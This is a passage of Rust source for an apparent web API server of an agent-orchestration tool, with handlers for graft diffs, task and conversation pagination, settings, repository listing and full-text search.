4477    State(ui): State<Arc<Ui>>,
4478    Path(id): Path<String>,
4479) -> ApiResult<Json<crate::report_view::RunReportView>> {
4480    let view = blocking(move || {
4481        let id = resolve_run(&ui.runs, &id)?;
4482        let state = read_run(&ui.runs, &id)?;
4483        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4484        // Only a record that lacks the structured details reads `artifacts/`.
4485        let recovered = state.graft.as_ref().map(|_| {
4486            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4487        });
4488        Ok(crate::report_view::build_with(
4489            &state,
4490            state.liveness(daemon_claims),
4491            recovered.as_ref(),
4492        ))
4493    })
4494    .await?;
4495    Ok(Json(view))
4496}
4497
4498/// Most of a graft diff the route returns.
4499const GRAFT_DIFF_MAX: usize = 400 * 1024;
4500/// How long `git diff` may run.
4501const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4502
4503/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4504/// come from the run record, never from the request.
4505async fn run_graft_diff(
4506    State(ui): State<Arc<Ui>>,
4507    Path(id): Path<String>,
4508) -> ApiResult<impl IntoResponse> {
4509    let (repo, pre, post) = blocking(move || {
4510        let id = resolve_run(&ui.runs, &id)?;
4511        let state = read_run(&ui.runs, &id)?;
4512        let g = state
4513            .graft
4514            .as_ref()
4515            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4516        let post = g
4517            .post
4518            .clone()
4519            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4520        Ok((state.repo.clone(), g.pre.clone(), post))
4521    })
4522    .await?;
4523    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4524    if !hex(&pre) || !hex(&post) {
4525        return Err(ApiError::not_found("the recorded commits are not valid"));
4526    }
4527    let out = tokio::time::timeout(
4528        GRAFT_DIFF_TIMEOUT,
4529        crate::git::git_raw(
4530            &repo,
4531            &[
4532                "diff",
4533                "--no-color",
4534                "--no-ext-diff",
4535                "-M",
4536                &pre,
4537                &post,
4538                "--",
4539            ],
4540        ),
4541    )
4542    .await
4543    .map_err(|_| ApiError::not_found("git diff timed out"))?
4544    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4545    if out.code != Some(0) {
4546        return Err(ApiError::not_found(
4547            "the recorded commits are no longer in the repository",
4548        ));
4549    }
4550    let mut body = out.stdout;
4551    if body.len() > GRAFT_DIFF_MAX {
4552        let mut cut = GRAFT_DIFF_MAX;
4553        while !body.is_char_boundary(cut) {
4554            cut -= 1;
4555        }
4556        body.truncate(cut);
4557        body.push_str("\n... diff truncated ...");
4558    }
4559    Ok((
4560        [
4561            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4562            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4563        ],
4564        body,
4565    ))
4566}
4567
4568/// A task as the UI sees it.
4569///
4570/// The whole task, plus the two things the client would otherwise have to
4571/// reimplement: the human-readable source and the status string. Nothing is
4572/// removed - the phone shows `last_error` and the run history verbatim.
4573#[derive(Debug, Serialize)]
4574struct TaskView {
4575    #[serde(flatten)]
4576    task: Task,
4577    source_label: String,
4578    source_link: Option<SourceLink>,
4579    status_str: &'static str,
4580    /// The instruction, parsed as markdown, for the Queue card's "Full
4581    /// instruction" panel. `task.instruction` is unchanged and still carries
4582    /// the raw text.
4583    instruction_md: Vec<md::Node>,
4584    /// For a blocked task, what it waits on with each dependency's state, e.g.
4585    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
4586    /// recurses; empty for every other status.
4587    waits_on: Vec<String>,
4588    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
4589    /// behind - non-empty means nothing in the loop will ever run it.
4590    stuck_roots: Vec<String>,
4591}
4592
4593impl From<Task> for TaskView {
4594    fn from(task: Task) -> Self {
4595        Self {
4596            source_label: task.source.label(),
4597            source_link: source_link(&task.source),
4598            status_str: task.status.as_str(),
4599            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4600            waits_on: Vec::new(),
4601            stuck_roots: Vec::new(),
4602            task,
4603        }
4604    }
4605}
4606
4607impl TaskView {
4608    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4609        let waits_on = inv.waits_on(&task);
4610        let stuck_roots = inv
4611            .stuck_roots(&task)
4612            .iter()
4613            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4614            .collect();
4615        Self {
4616            waits_on,
4617            stuck_roots,
4618            ..Self::from(task)
4619        }
4620    }
4621}
4622
4623/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
4624/// its absence, leaves the cache to decide.
4625#[derive(Debug, Default, Deserialize)]
4626#[serde(default)]
4627struct ReposQuery {
4628    refresh: u8,
4629}
4630
4631/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
4632/// listing `magi repos` prints at a terminal.
4633///
4634/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
4635/// so an edit to `magi.toml` takes effect without a restart, the same
4636/// reasoning [`config_for`] documents for the talk routes.
4637async fn repos_list(
4638    State(ui): State<Arc<Ui>>,
4639    Query(q): Query<ReposQuery>,
4640) -> ApiResult<Json<Vec<repos::Repo>>> {
4641    let refresh = q.refresh != 0;
4642    blocking(move || {
4643        let (cfg, _) = Config::discover(&ui.repo, None)?;
4644        Ok(Json(ui.repos_cache.list(
4645            &cfg.repos.roots,
4646            Duration::from_secs(cfg.repos.scan_ttl),
4647            refresh,
4648        )))
4649    })
4650    .await
4651}
4652
4653/// Optional context, restricted to the server's known checkouts.
4654#[derive(Debug, Default, Deserialize)]
4655struct SettingsQuery {
4656    repo: Option<PathBuf>,
4657}
4658
4659/// Always discover against the server's original context, never the selection.
4660/// If that config is broken, retain the default context and machine-only roots
4661/// so the settings error contract and recovery picker remain available.
4662fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4663    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4664        let paths: Vec<PathBuf> = ui
4665            .machine_config
4666            .iter()
4667            .filter(|p| p.is_file())
4668            .cloned()
4669            .collect();
4670        if paths.is_empty() {
4671            Ok(Config::autodetected())
4672        } else {
4673            Config::load_layers(&paths)
4674        }
4675    });
4676    let mut known = cfg
4677        .map(|cfg| {
4678            ui.repos_cache.list(
4679                &cfg.repos.roots,
4680                Duration::from_secs(cfg.repos.scan_ttl),
4681                refresh,
4682            )
4683        })
4684        .unwrap_or_default();
4685    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4686    if !known.iter().any(|r| r.path == path) {
4687        known.push(repos::Repo {
4688            name: path
4689                .file_name()
4690                .unwrap_or_default()
4691                .to_string_lossy()
4692                .into_owned(),
4693            path,
4694        });
4695    }
4696    known
4697}
4698
4699fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4700    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4701    let canonical = requested.canonicalize().ok();
4702    let mut known = settings_repositories(ui, false);
4703    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4704    if !known.iter().any(matches) {
4705        known = settings_repositories(ui, true);
4706    }
4707    let repo = known
4708        .iter()
4709        .find(|r| matches(r))
4710        .map(|r| r.path.clone())
4711        .ok_or_else(|| ApiError {
4712            text_reason: None,
4713            status: StatusCode::UNPROCESSABLE_ENTITY,
4714            message: "Choose a known repository from the Settings selector.".to_owned(),
4715        })?;
4716    Ok((repo, known))
4717}
4718
4719/// `GET /api/settings` - the effective role assignments and roster, with the
4720/// layer each came from. A config that fails to load answers 200 with an
4721/// `error`, so the screen can say so instead of drawing empty lists.
4722async fn settings_get(
4723    State(ui): State<Arc<Ui>>,
4724    Query(q): Query<SettingsQuery>,
4725) -> ApiResult<Json<settings::SettingsView>> {
4726    blocking(move || {
4727        let (repo, known) = settings_context(&ui, q)?;
4728        Ok(Json(settings::view_with_repos(
4729            &repo,
4730            ui.machine_config.as_deref(),
4731            &known,
4732        )))
4733    })
4734    .await
4735}
4736
4737/// The body of `PUT /api/settings/roles`.
4738#[derive(Debug, Deserialize)]
4739#[serde(deny_unknown_fields)]
4740struct RolesBody {
4741    /// The `revision` the client last read.
4742    revision: String,
4743    /// Role key to its new ids; an empty list resets the key to its default.
4744    #[serde(default)]
4745    roles: std::collections::BTreeMap<String, Vec<String>>,
4746    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
4747    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
4748    /// words (422) instead of as a deserialization error.
4749    #[serde(default)]
4750    counts: std::collections::BTreeMap<String, serde_json::Value>,
4751}
4752
4753/// `PUT /api/settings/roles` - save role assignments to the machine config.
4754///
4755/// The write target is `ui.machine_config` and nothing in the body can change
4756/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
4757/// 422 with the reason in words.
4758async fn settings_put_roles(
4759    State(ui): State<Arc<Ui>>,
4760    Query(q): Query<SettingsQuery>,
4761    body: std::result::Result<Json<RolesBody>, JsonRejection>,
4762) -> ApiResult<Json<settings::SettingsView>> {
4763    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4764    blocking(move || {
4765        let (repo, known) = settings_context(&ui, q)?;
4766        settings::save_with_repos(
4767            &repo,
4768            ui.machine_config.as_deref(),
4769            &body.revision,
4770            &body.roles,
4771            &body.counts,
4772            &known,
4773        )
4774        .map(Json)
4775        .map_err(|e| match e {
4776            settings::SaveError::Conflict(m) => ApiError::conflict(m),
4777            settings::SaveError::Refused(m) => ApiError {
4778                text_reason: None,
4779                status: StatusCode::UNPROCESSABLE_ENTITY,
4780                message: m,
4781            },
4782            settings::SaveError::Internal(m) => ApiError::internal(m),
4783        })
4784    })
4785    .await
4786}
4787
4788async fn queue_list(
4789    State(ui): State<Arc<Ui>>,
4790    Query(q): Query<ListQuery>,
4791) -> ApiResult<Json<Vec<TaskView>>> {
4792    blocking(move || {
4793        let tasks = ui.queue.list();
4794        let inv =
4795            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
4796        Ok(Json(
4797            tasks
4798                .into_iter()
4799                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4800                .map(|t| TaskView::with_inventory(t, &inv))
4801                .collect(),
4802        ))
4803    })
4804    .await
4805}
4806
4807/// Cursor pages read a bounded number of records, never the older transcripts
4808/// or instructions. Cursors advance through a frozen file-name snapshot,
4809/// including corrupt rows, so skipped/deleted records cannot repeat a page.
4810/// Concurrent inserts are reconciled by a trailing store refresh.
4811#[derive(Debug, Default, Deserialize)]
4812struct PageQuery {
4813    before: Option<String>,
4814}
4815
4816#[derive(Serialize)]
4817struct StorePage<T> {
4818    rows: Vec<T>,
4819    next: Option<String>,
4820}
4821
4822const STORE_PAGE_SIZE: usize = 16;
4823
4824/// Freeze only membership for one bounded cursor walk. Statuses and bodies are
4825/// always read from disk; writes/deletions during the walk are reconciled by
4826/// the next store revision. Never rescan the entire directory for every page.
4827#[derive(Debug)]
4828struct ListWalk {
4829    token: u64,
4830    talks: bool,
4831    opened: std::time::Instant,
4832    ids: Arc<Vec<String>>,
4833}
4834
4835fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
4836    let mut walks = ui
4837        .monitor
4838        .list_walks
4839        .lock()
4840        .unwrap_or_else(PoisonError::into_inner);
4841    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
4842    let (token, ids, offset) = if let Some(cursor) = q.before {
4843        let (token, offset) = cursor
4844            .split_once(':')
4845            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
4846        let token = token
4847            .parse::<u64>()
4848            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4849        let offset = offset
4850            .parse::<usize>()
4851            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4852        let walk = walks
4853            .iter()
4854            .find(|walk| walk.token == token && walk.talks == talks)
4855            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
4856        (token, walk.ids.clone(), offset)
4857    } else {
4858        let root = if talks {
4859            ui.talks.root()
4860        } else {
4861            ui.queue.root()
4862        };
4863        let mut ids = crate::queue::record_ids(root, "json")?;
4864        ids.sort_unstable_by(|a, b| b.cmp(a));
4865        let ids = Arc::new(ids);
4866        let mut token = crate::rng::entropy();
4867        while walks.iter().any(|walk| walk.token == token) {
4868            token = crate::rng::entropy();
4869        }
4870        // Four clients can enumerate both stores and overlap a refresh. Bound
4871        // retained membership snapshots; an evicted cursor explicitly retries.
4872        if walks.len() >= 16 {
4873            walks.remove(0);
4874        }
4875        walks.push(ListWalk {
4876            token,
4877            talks,
4878            opened: std::time::Instant::now(),
4879            ids: ids.clone(),
4880        });
4881        (token, ids, 0)
4882    };
4883    if offset > ids.len() {
4884        return Err(ApiError::bad_request("Invalid list cursor"));
4885    }
4886    let end = offset.saturating_add(STORE_PAGE_SIZE).min(ids.len());
4887    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
4888    Ok((ids[offset..end].to_vec(), next))
4889}
4890
4891async fn queue_page(
4892    State(ui): State<Arc<Ui>>,
4893    Query(q): Query<PageQuery>,
4894) -> ApiResult<Json<StorePage<TaskView>>> {
4895    blocking(move || {
4896        let (ids, next) = page_ids(&ui, false, q)?;
4897        let tasks: Vec<_> = ids
4898            .into_iter()
4899            .filter_map(|id| ui.queue.get(&id).ok())
4900            .collect();
4901        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
4902        let rows = tasks
4903            .into_iter()
4904            .map(|task| TaskView::with_inventory(task, &inv))
4905            .collect();
4906        Ok(Json(StorePage { rows, next }))
4907    })
4908    .await
4909}
4910
4911/// List-only projection: retain every turn timestamp for exact unread counts,
4912/// but do not ship transcripts, parse Markdown or discover repository config.
4913/// Opening a conversation obtains its full context window and controls.
4914#[derive(Serialize)]
4915struct TalkListView {
4916    id: String,
4917    repo: PathBuf,
4918    agent: String,
4919    status: talk::TalkStatus,
4920    turns: Vec<TalkListTurn>,
4921    thinking: bool,
4922    context: talk::ContextUsage,
4923    created_at: Timestamp,
4924    updated_at: Timestamp,
4925}
4926
4927#[derive(Serialize)]
4928struct TalkListTurn {
4929    who: talk::Who,
4930    at: Timestamp,
4931    body: String,
4932}
4933
4934async fn talks_page(
4935    State(ui): State<Arc<Ui>>,
4936    Query(q): Query<PageQuery>,
4937) -> ApiResult<Json<StorePage<TalkListView>>> {
4938    blocking(move || {
4939        let (ids, next) = page_ids(&ui, true, q)?;
4940        let rows = ids
4941            .into_iter()
4942            .filter_map(|id| ui.talks.get(&id).ok())
4943            .map(|talk| TalkListView {
4944                thinking: ui.is_thinking(&talk.id),
4945                context: talk::context_usage(&talk, None),
4946                turns: talk
4947                    .turns
4948                    .iter()
4949                    .map(|turn| TalkListTurn {
4950                        who: turn.who,
4951                        at: turn.at,
4952                        body: turn
4953                            .body
4954                            .lines()
4955                            .next()
4956                            .unwrap_or_default()
4957                            .chars()
4958                            .take(240)
4959                            .collect(),
4960                    })
4961                    .collect(),
4962                id: talk.id,
4963                repo: talk.repo,
4964                agent: talk.agent,
4965                status: talk.status,
4966                created_at: talk.created_at,
4967                updated_at: talk.updated_at,
4968            })
4969            .collect();
4970        Ok(Json(StorePage { rows, next }))
4971    })
4972    .await
4973}
4974
4975async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
4976    blocking(move || {
4977        let tasks = ui.indexed_tasks()?;
4978        Ok(Json(TaskCountsView::from(
4979            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
4980        )))
4981    })
4982    .await
4983}
4984
4985/// Most hits one search returns. The rest are counted in `total`.
4986const SEARCH_MAX_HITS: usize = 100;
4987/// Longest query, in characters, and most terms it is split into.
4988const SEARCH_MAX_QUERY: usize = 200;
4989const SEARCH_MAX_TERMS: usize = 8;
4990/// Characters of context kept before the first hit, and after it.
4991const SNIPPET_BEFORE: usize = 50;
4992const SNIPPET_AFTER: usize = 110;
4993
4994/// `?scope=runs|tasks&q=...`
4995#[derive(Debug, Deserialize)]
4996struct SearchQuery {
4997    #[serde(default)]
4998    scope: String,
4999    #[serde(default)]
5000    q: String,
5001}
5002
5003/// One piece of a snippet. `hit` pieces are what matched; the client renders
5004/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5005#[derive(Debug, Serialize, PartialEq, Eq)]
5006struct SnippetPart {
5007    text: String,
5008    hit: bool,
5009}
5010
5011#[derive(Debug, Serialize)]
5012struct SearchHit {
5013    id: String,
5014    /// The name of the field the snippet was cut from.
5015    field: String,
5016    snippet: Vec<SnippetPart>,
5017    /// The run's list row, so the page can apply its state / section / repo
5018    /// filters to a hit outside the loaded window. Absent for tasks and for a
5019    /// run record the list view cannot read.
5020    #[serde(skip_serializing_if = "Option::is_none")]
5021    run: Option<RunSummary>,
5022}
5023
5024#[derive(Debug, Serialize)]
5025struct SearchView {
5026    scope: String,
5027    q: String,
5028    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5029    hits: Vec<SearchHit>,
5030    /// Every match, hits beyond the cap included.
5031    total: usize,
5032    truncated: bool,
5033    /// Runs whose `run.json` could not be parsed at all. They were not
5034    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5035    unreadable: usize,
5036}
5037
5038/// The text leaves of a JSON document, with the name of the field each sits
5039/// under. Keys and numbers are skipped: they are structure, not prose.
5040fn text_leaves<'a>(
5041    value: &'a serde_json::Value,
5042    field: &'a str,
5043    out: &mut Vec<(&'a str, &'a str)>,
5044) {
5045    match value {
5046        serde_json::Value::String(s) => out.push((field, s)),
5047        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5048        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5049        _ => {}
5050    }
5051}
5052
5053/// Lower-case one character without changing how many there are, so indices
5054/// in the lowered text are indices in the original.
5055fn fold_char(c: char) -> char {
5056    c.to_lowercase().next().unwrap_or(c)
5057}
5058
5059/// Split a query into its lower-cased terms.
5060fn search_terms(q: &str) -> Vec<String> {
5061    let mut terms: Vec<String> = Vec::new();
5062    for t in q.split_whitespace() {
5063        let t = t.to_lowercase();
5064        if !terms.contains(&t) {
5065            terms.push(t);
5066        }
5067    }
5068    terms
5069}
5070
5071/// Match `terms` (all of them, anywhere in the document) against the leaves
5072/// and cut a snippet around the first hit. `None` when a term is missing.
5073fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5074    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5075    let mut first: Option<usize> = None;
5076    for term in terms {
5077        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5078        first = Some(first.map_or(at, |f| f.min(at)));
5079    }
5080    // The leaf holding the earliest hit of any term is where the snippet is cut.
5081    let (field, text) = leaves[first?];
5082    Some(SearchHit {
5083        id: String::new(),
5084        field: field.to_owned(),
5085        snippet: snippet_of(text, terms),
5086        run: None,
5087    })
5088}
5089
5090/// A window of `text` around the first occurrence of any term, whitespace
5091/// collapsed, with every term occurrence inside the window marked.
5092fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5093    let chars: Vec<char> = text.chars().collect();
5094    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5095    let needles: Vec<Vec<char>> = terms
5096        .iter()
5097        .map(|t| t.chars().map(fold_char).collect())
5098        .collect();
5099    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5100        let mut best: Option<(usize, usize)> = None;
5101        for n in needles.iter().filter(|n| !n.is_empty()) {
5102            // `to` bounds where a match may start; it may run past `to` (the
5103            // caller clips what it shows). A term longer than the field cannot
5104            // occur in it (it may live in another leaf of the document).
5105            if n.len() > chars.len() || to == 0 {
5106                continue;
5107            }
5108            let last = (to - 1).min(chars.len() - n.len());
5109            if from > last {
5110                continue;
5111            }
5112            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5113                && best.is_none_or(|(b, _)| i < b)
5114            {
5115                best = Some((i, i + n.len()));
5116            }
5117        }
5118        best
5119    };
5120    let Some((start, _)) = find(0, chars.len()) else {
5121        // Matched only through a case mapping that changes length: show the head.
5122        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5123        return vec![SnippetPart {
5124            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5125            hit: false,
5126        }];
5127    };
5128    let lo = start.saturating_sub(SNIPPET_BEFORE);
5129    let hi = (start + SNIPPET_AFTER).min(chars.len());
5130    let mut parts: Vec<SnippetPart> = Vec::new();
5131    let mut push = |s: &[char], hit: bool| {
5132        if s.is_empty() {
5133            return;
5134        }
5135        let text: String = s.iter().collect();
5136        match parts.last_mut() {
5137            Some(p) if p.hit == hit => p.text.push_str(&text),
5138            _ => parts.push(SnippetPart { text, hit }),
5139        }
5140    };
5141    if lo > 0 {
5142        push(&['\u{2026}'], false);
5143    }
5144    let mut at = lo;
5145    while at < hi {
5146        match find(at, hi) {
5147            Some((s, e)) => {
5148                push(&chars[at..s], false);
5149                // A match running past the window is shown up to its edge.
5150                let shown = e.min(hi);
5151                push(&chars[s..shown], true);
5152                at = shown;
5153            }
5154            None => {
5155                push(&chars[at..hi], false);
5156                at = hi;
5157            }
5158        }
5159    }
5160    if hi < chars.len() {
5161        push(&['\u{2026}'], false);
5162    }
5163    // Collapse whitespace (newlines in an instruction) without disturbing the
5164    // hit boundaries.
5165    let mut prev_space = false;
5166    for p in &mut parts {
5167        let mut out = String::with_capacity(p.text.len());
5168        for c in p.text.chars() {
5169            if c.is_whitespace() {
5170                if !prev_space {
5171                    out.push(' ');
5172                }
5173                prev_space = true;
5174            } else {
5175                out.push(c);
5176                prev_space = false;
5177            }
5178        }
5179        p.text = out;
5180    }
5181    parts.retain(|p| !p.text.is_empty());
5182    parts
5183}
5184
5185/// The search over `docs` (id, document), newest first, capped.
5186fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5187where
5188    I: IntoIterator<Item = (String, serde_json::Value)>,
5189{
5190    for (id, doc) in docs {
5191        let mut leaves = Vec::new();
5192        // The id is text an operator types too, and it is a map key on disk,
5193        // not a leaf.
5194        leaves.push(("id", id.as_str()));
5195        text_leaves(&doc, "", &mut leaves);
5196        if let Some(mut hit) = search_document(terms, &leaves) {
5197            view.total += 1;
5198            if view.hits.len() < SEARCH_MAX_HITS {
5199                hit.id = id;
5200                view.hits.push(hit);
5201            }
5202        }
5203    }
5204    view.truncated = view.total > view.hits.len();
5205}
5206
5207/// What a conversation is searched by: its list title and each turn's text,
5208/// under `operator` / `agent` so the snippet says who spoke. Nothing else
5209/// (session ids, repo paths, usage, drafts) is part of the document.
5210///
5211/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
5212/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
5213fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5214    let opener = talk
5215        .turns
5216        .iter()
5217        .find(|t| t.who == crate::talk::Who::Operator)
5218        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
5219        .unwrap_or("");
5220    let title: String = if opener.chars().count() > 96 {
5221        opener.chars().take(95).chain(['\u{2026}']).collect()
5222    } else {
5223        opener.to_owned()
5224    };
5225    let turns: Vec<serde_json::Value> = talk
5226        .turns
5227        .iter()
5228        .map(|t| {
5229            let who = match t.who {
5230                crate::talk::Who::Operator => "operator",
5231                crate::talk::Who::Agent => "agent",
5232            };
5233            serde_json::json!({ who: t.body })
5234        })
5235        .collect();
5236    serde_json::json!({ "title": title, "turns": turns })
5237}
5238
5239/// Read-only full-text search over every run's `run.json`, every task or every
5240/// conversation (title and transcript).
5241///
5242/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5243/// record from an older schema still searches; only a file that is not JSON
5244/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5245async fn search_get(
5246    State(ui): State<Arc<Ui>>,
5247    Query(q): Query<SearchQuery>,
5248) -> ApiResult<Json<SearchView>> {
5249    let query = q.q.trim().to_owned();
5250    if query.is_empty() {
5251        return Err(ApiError::bad_request("q must not be empty"));
5252    }
5253    if query.chars().count() > SEARCH_MAX_QUERY {
5254        return Err(ApiError::bad_request(format!(
5255            "q is longer than {SEARCH_MAX_QUERY} characters"
5256        )));
5257    }
5258    let terms = search_terms(&query);
5259    if terms.len() > SEARCH_MAX_TERMS {
5260        return Err(ApiError::bad_request(format!(
5261            "q has more than {SEARCH_MAX_TERMS} terms"
5262        )));
5263    }
5264    let scope = q.scope;
5265    if scope != "runs" && scope != "tasks" && scope != "chats" {
5266        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5267    }
5268    blocking(move || {
5269        let mut view = SearchView {
5270            scope: scope.clone(),
5271            q: query,
5272            hits: Vec::new(),
5273            total: 0,
5274            truncated: false,
5275            unreadable: 0,
5276        };
5277        if scope == "runs" {
5278            let mut unreadable = 0;
5279            // One run.json is read, matched and dropped at a time; nothing
5280            // holds the whole history. The scan runs to the end even past the
5281            // hit cap so `total` and `unreadable` stay exact.
5282            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5283                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5284                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5285                    Some(v) => Some((id, v)),
5286                    None => {
5287                        unreadable += 1;
5288                        None
5289                    }
5290                }
5291            });
5292            search_docs(&terms, docs, &mut view);
5293            view.unreadable = unreadable;
5294            // Only the capped hits get a row: the filters need a run's state,
5295            // and reading every match would be the whole history again.
5296            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5297            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5298            for hit in &mut view.hits {
5299                if let Ok(state) = read_run(&ui.runs, &hit.id) {
5300                    hit.run = summarize(
5301                        [state],
5302                        &open_runs,
5303                        &claimed,
5304                        &superseded,
5305                        |p| probe.borrow_mut().status(p),
5306                        |p| probe.borrow_mut().started_at(p),
5307                    )
5308                    .pop();
5309                }
5310            }
5311        } else if scope == "chats" {
5312            let (talks, unreadable) = ui.talks.list_counting_unreadable();
5313            view.unreadable = unreadable;
5314            search_docs(
5315                &terms,
5316                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5317                &mut view,
5318            );
5319        } else {
5320            let docs = ui.queue.list().into_iter().filter_map(|t| {
5321                let mut v = serde_json::to_value(&t).ok()?;
5322                // `source` serialises as a tagged object; the label is what
5323                // the operator reads ("human", "chat@a1b2").
5324                if let Some(o) = v.as_object_mut() {
5325                    o.insert("filed_by".to_owned(), t.source.label().into());
5326                }
5327                Some((t.id, v))
5328            });
5329            search_docs(&terms, docs, &mut view);
5330        }
5331        Ok(Json(view))
5332    })
5333    .await
5334}
5335
5336/// One attempt in a task's history, as the task page lists it.
5337#[derive(Debug, Serialize)]
5338struct TaskRunView {
5339    /// 1-based position in [`Task::runs`].
5340    n: usize,
5341    id: String,
5342    short: String,
5343    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
5344    kind: &'static str,
5345    /// The run's own status string; `None` when its record cannot be read.
5346    status: Option<&'static str>,
5347    /// Whether this build could read the run's record. Counted, never hidden.
5348    readable: bool,
5349    /// A verdict from a collapsed panel is provisional, never a decision.
5350    provisional: bool,
5351    /// What kind of attempt this was, in one line.
5352    description: String,
5353    /// How it ended and why the task moved on (or what it is doing now).
5354    outcome: String,
5355    created_at: Option<Timestamp>,
5356    pr: Option<String>,
5357    /// Why this pass ended, classified once; the flowchart is built from it.
5358    exit: RunExit,
5359    /// What the pass did to the task's attempt budget.
5360    attempt: AttemptCost,
5361    /// Edge wording for leaving this entry; names the recorded cause when
5362    /// there is one.
5363    exit_label: String,
5364    /// The position of a later entry for the same run: this entry is an
5365    /// earlier pass of it.
5366    later_pass: Option<usize>,
5367    /// Which pass over the run this entry is (1-based) and how many entries
5368    /// the task lists for the run. Counted from the list, so known even for
5369    /// a legacy record.
5370    pass_n: usize,
5371    passes_of_run: usize,
5372    /// What the run recorded about this pass; `None` for a record from before
5373    /// passes were kept, whose cause stays unknown.
5374    pass: Option<PassView>,
5375    /// The branch a review-only run reopened.
5376    branch: Option<String>,
5377    /// The badge word when it differs from `status` (`stale` / `superseded`);
5378    /// filled by the task route, which can see liveness and later attempts.
5379    badge: Option<String>,
5380}
5381
5382/// One recorded pass over a run, for the wire.
5383#[derive(Debug, Clone, PartialEq, Serialize)]
5384struct PassView {
5385    index: usize,
5386    resumed: bool,
5387    started_at: Timestamp,
5388    ended_at: Option<Timestamp>,
5389    /// `open`, `parked` or `unrecorded`.
5390    end: &'static str,
5391    cause: Option<crate::run::ParkCause>,
5392    /// One line: why it stopped, or that nobody recorded why.
5393    label: String,
5394    /// What the task recorded for this pass; `None` when it was not settled
5395    /// (or settled by a build that kept no record).
5396    cost: Option<crate::queue::PassCost>,
5397}
5398
5399impl PassView {
5400    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5401        use crate::run::PassEnd;
5402        let (end, cause, label) = match &p.end {
5403            None => ("open", None, "still open".to_owned()),
5404            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5405            Some(PassEnd::Unrecorded) => (
5406                "unrecorded",
5407                None,
5408                "stopped without recording why (a crash, a kill or a restart; not known)"
5409                    .to_owned(),
5410            ),
5411        };
5412        Self {
5413            index: p.index,
5414            resumed: p.resumed,
5415            started_at: p.started_at,
5416            ended_at: p.ended_at,
5417            end,
5418            cause,
5419            label,
